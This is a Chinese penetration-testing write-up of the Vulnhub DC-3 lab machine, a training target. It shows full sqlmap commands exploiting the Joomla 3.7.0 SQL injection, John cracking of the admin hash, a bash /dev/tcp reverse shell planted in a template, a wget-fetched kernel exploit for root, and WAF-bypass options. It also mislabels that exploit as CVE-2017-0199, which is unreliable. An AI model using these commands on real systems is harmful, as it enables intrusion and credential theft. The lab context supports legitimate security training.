DC-3 完整渗透测试笔记 文章目录DC-3 完整渗透测试笔记从 Joomla SQL 注入到 CVE 内核提权一、靶场简介二、环境搭建三、信息收集3.1 主机发现arp-scan3.2 端口扫描nmap3.3 Web 服务指纹识别3.4 进一步指纹识别joomscan四、漏洞利用Joomla 3.7.0 SQL 注入4.1 漏洞背景4.2 使用 sqlmap 自动化利用4.3 提取管理员凭据五、密码破解John the Ripper5.1 保存哈希5.2 使用 John 破解六、Joomla 后台获取反弹 Shell6.1 登录 Joomla 后台6.2 编辑模板写入 PHP 反向连接代码6.3 监听 触发反弹七、提权CVE-2017-0199 内核提权7.1 系统信息收集7.2 SUID 文件查找7.3 检索 Ubuntu 16.04 已知漏洞7.4 漏洞利用7.5 读取最终 Flag八、完整漏洞链总结九、关键经验9.1 Joomla / WordPress / Drupal 三件套9.2 sqlmap 实战要点9.3 Joomla 后台利用模板拿 shellDC-3 完整渗透测试笔记从 Joomla SQL 注入到 CVE 内核提权一、靶场简介DC-3 是 Vulnhub 上的中等难度 Joomla 渗透靶机重点模拟企业内部常见的 Joomla CMS 漏洞利用 内核提权。该靶机的整体流程为信息收集 → Joomla CMS 指纹识别 → SQL 注入获取数据库 → 后台模板写入反弹 Shell → 获取 www-data 权限 → CVE-2017-0199 内核提权 → root flag靶场地址https://www.vulnhub.com/entry/dc-3,312/二、环境搭建DC-3 在 VirtualBox / VMware 上导入后设置NAT模式和攻击机相同。DC-3开机遇到的问题解决方法三、信息收集3.1 主机发现arp-scanarp-scan-l输出关键结果确认靶机 IP192.168.157.1533.2 端口扫描nmapnmap-sS-sV-p-192.168.157.153输出关键结果注意仅 80 端口开放—— 必须通过 HTTP 拿下 shell。3.3 Web 服务指纹识别登陆网站查看指纹或者whatweb http://192.168.157.153输出结果确认目标基于 Joomla 搭建。3.4 进一步指纹识别joomscan该网站的CMS使用的是joomlakali上存在一个专门针对它的漏洞扫描工具Joomscan。joomscan-uhttp://192.168.136.131没用过的可能需要安装一下aptinstalljoomscan输出扫描信息关键发现Joomla 版本3.7.0存在SQL 注入漏洞有一个后台登陆界面administrator/四、漏洞利用Joomla 3.7.0 SQL 注入可以使用searchsploit joomla 3.7.0搜索一下存在的漏洞查看详情searchsploit-p42033.txt把这个文件下载到本地:cp/usr/share/exploitdb/exploits/php/webapps/42033.txt joomla.txt查看内容文件说明可以使用sqlmap进行利用4.1 漏洞背景Joomla 3.7.0 的com_fields组件存在 SQL 注入漏洞CVE-2017-8917由于list[fullordering]参数未经过滤直接拼接到 SQL 语句中。漏洞利用 URLhttp://192.168.157.153/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml4.2 使用 sqlmap 自动化利用# 直接使用 sqlmap 自动化注入sqlmap-uhttp://192.168.157.153/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml--risk3--level5--random-agent--dbs-plist[fullordering]sqlmap 最后得到所以数据库Joomla 数据库joomladb4.3 提取管理员凭据# 列出 joomladb 下的所有表sqlmap-uhttp://192.168.157.153/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml--risk3--level5--random-agent-Djoomladb--tables-plist[fullordering]# 关键表#__users获取users表的列名sqlmap-uhttp://192.168.157.153/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml--risk3--level5--random-agent-Djoomladb-T#__users--columns-plist[fullordering]提取管理员表数据sqlmap-uhttp://192.168.157.153/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml--risk3--level5--random-agent-Djoomladb-T#__users-Cusername,password--dump--batch-plist[fullordering]输出管理员数据admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu五、密码破解John the Ripper5.1 保存哈希echo$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zuadmin_hash.txt5.2 使用 John 破解# 使用默认字典john admin_hash.txt--wordlist/usr/share/wordlists/rockyou.txt#rockyou.txt要先去解压密码为snoopy获得 Joomla 后台账号admin / snoopy六、Joomla 后台获取反弹 Shell6.1 登录 Joomla 后台访问http://192.168.157.153/administrator/登录成功进入后台。6.2 编辑模板写入 PHP 反向连接代码后台导航Extensions → Templates → Templates选择protostar模板编辑.php文件在文件开头写入exec(/bin/bash -c bash -i /dev/tcp/192.168.157.140/4444 01);# 192.168.157.140改成自己攻击机的地址记得点左上角的save6.3 监听 触发反弹Kali 攻击机启动 netcat 监听nc-lvvp4444浏览器访问修改的php文件模板被触发http://192.168.157.153/templates/beez3/component.php成功后获得反向连接七、提权CVE-2017-0199 内核提权7.1 系统信息收集uname-acat/etc/issue关键发现Ubuntu 16.04.4 LTS Linux 4.4.0-21 内核7.2 SUID 文件查找find/-perm-us-typef2/dev/null没有特别可用的 SUID 文件。SUDO 也不可用。需要内核漏洞提权。7.3 检索 Ubuntu 16.04 已知漏洞searchsploit Ubuntu16.04对比搜索引擎搜索该版本漏洞锁定path为39772.txt的漏洞最稳定专门针对 4.4.0 内核通杀 32/64 位7.4 漏洞利用查看39772.txt文件searchsploit-p39772.txtcat/usr/share/exploitdb/exploits/linux/local/39772.txt根据链接下载直接下载在反弹的shell里wgethttps://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip解压unzip39772.zipcd39772tar-xvfexploit.tar按照文档上的操作步骤cdebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput验证7.5 读取最终 Flagcd/rootlsthe-flag.txtcatthe-flag.txt八、完整漏洞链总结arp-scan → nmap → 80 端口 ↓ whatweb joomscan → Joomla 3.7.0 SQL 注入点 ↓ sqlmap 自动化注入 → 获取管理员哈希 ↓ John 爆破 → admin / snoopy ↓ 登录 Joomla 后台 → 编辑模板写入反弹 Shell ↓ Kali 监听 → 获取 www-data shell ↓ 漏洞利用 → 内核提权至 root ↓ 读取 /root/the-flag.txt → Final Flag九、关键经验9.1 Joomla / WordPress / Drupal 三件套CMS标志性漏洞利用工具DrupalDrupalgeddon2MetasploitWordPress插件漏洞 / 后台爆破wpscan cewl HydraJoomlaSQL 注入sqlmap joomscan9.2 sqlmap 实战要点# 列出数据库sqlmap-uURL--dbs--batch# 列出表sqlmap-uURL-Dxxx--tables--batch# 列出表sqlmap-uURL-Dxxx-Txxx--columns--batch# 提取数据sqlmap-uURL-Dxxx-Txxx-Cxxx--dump--batch# WAF 绕过选项--tamperspace2comment,between,randomcase--hpp--drop-set-cookie9.3 Joomla 后台利用模板拿 shell通用思路登录后台→ Extensions → Templates → Templates编辑 .php文件→ 插入 reverse shell payload保存→ 访问前台触发模板执行监听端Kali→ 收到连接获得 www-data shell